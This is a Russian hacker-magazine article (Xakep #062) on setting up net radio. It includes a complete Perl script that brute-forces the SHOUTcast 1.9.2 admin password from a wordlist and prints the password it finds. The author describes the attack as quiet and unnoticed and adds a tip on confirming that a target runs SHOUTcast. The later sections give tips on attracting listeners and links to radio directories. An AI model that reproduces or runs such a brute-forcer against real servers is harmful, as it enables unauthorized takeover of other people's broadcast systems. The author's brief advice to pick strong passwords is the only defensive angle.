Свое сетевое радио Дмитриев Ярослав aka Clane Xakep, номер #062, стр. 062-024-4 #!/usr/bin/perl # SHOUTcast 1.9.2 (and maybe others) bruteforcer # use Socket; $host = "radio.changeme.net"; # Url SHOUTcast-сервера $port = 8000; # порт, на котором висит сервер $word = "wordlist.txt"; # словарик для брутфорса $check = "200 OK"; open(WRDS,"$word"); until( eof(*WRDS) ){ $pwd = readline(*WRDS); chomp $pwd; $sndstr= "GET /admin.cgi?pass="; $sndstr.= $pwd; $sndstr.=" HTTP\x2f1.0\r\nUser-Agent\x3a Mozilla 4.5(Compatible)\r\n\r\n\r\n"; socket(C, AF_INET, SOCK_STREAM, 0) || die "cant call socket()!"; connect(C, sockaddr_in( $port, inet_aton($host))) || die "cant connect!"; send(C, $sndstr, length($sndstr) ); do { if ($_ =~ m/$check/i){ print " DJs PASSWORD IS : $pwd\n"; close(WRDS); exit; } } while (<C>); } Брутфорс реализован на Перле. Его алгоритм прост, как все гениальное: он коннектится к серверу и тихонечко и незаметно начинает подбирать пароль. Если один из паролей, записанных у тебя в wordlist.txt, подойдет, программа выведет его на экран и закончит свою работу. Самое забавное, что User name админа всегда admin. Поэтому, мой тебе совет, когда будешь вешать пароль на собственную радиостанцию – подумай над ним хорошенько. Заключение Не знаю, как ты, а я остался доволен результатом. И с удовольствием бы поделился с тобой ссылкой на свое trance-творение, но я вещаю только для жителей локальной сети, где и сам обитаю. Жаль, конечно, я был бы рад видеть тебя в числе моих постоянных слушателей =). Ведь именно с помощью сетевого радио я перезнакомился в нашем районе со всеми продвинутыми людьми. Желаю тебе, как минимум, добиться такого же результата. Если будут грабли - мыло наверху. Enjoy! Как завлечь слушателей Раскрутка сетевого радио ничем не отличается от раскрутки сетевого ресурса. Но если для ресурса в первую очередь важны дизайн и контент, то радио характеризуется музыкой, которая звучит в радиоэфире. Учитывая народную мудрость, которая скептически оценивает результаты погони сразу за двумя зайцами, стоит подумать о том, чтобы крутить на новой станции музыку определенного стиля, а не "всего понемножку". Ресурсы на просторах WWW В Сети можно найти все, что хочешь. Эта подборка сайтов - лишнее тому подтверждение. www.russianseattle.com/radio_r.htm - крупнейший каталог www.etop.ru/catalog/28013.html - огромное количество ссылок на радиоресурсы в Сети, в том числе и на радиокаталоги http://guzei.com/live/radio - крупный каталог русских радиоресурсов. Есть возможность добавления собственной радиостанции Тип - INFO Прежде чем начинать усиленно подбирать пароль с помощью брутфорса, нужно удостовериться, что вещание ведется именно с помощью SHOUTcast-сервера :). Сделать это можно, набрав в строке браузера http://ip-сервера:порт. Веб-интерфейс выдает программу с головой – его нельзя изменить, он генерируется самой программой. |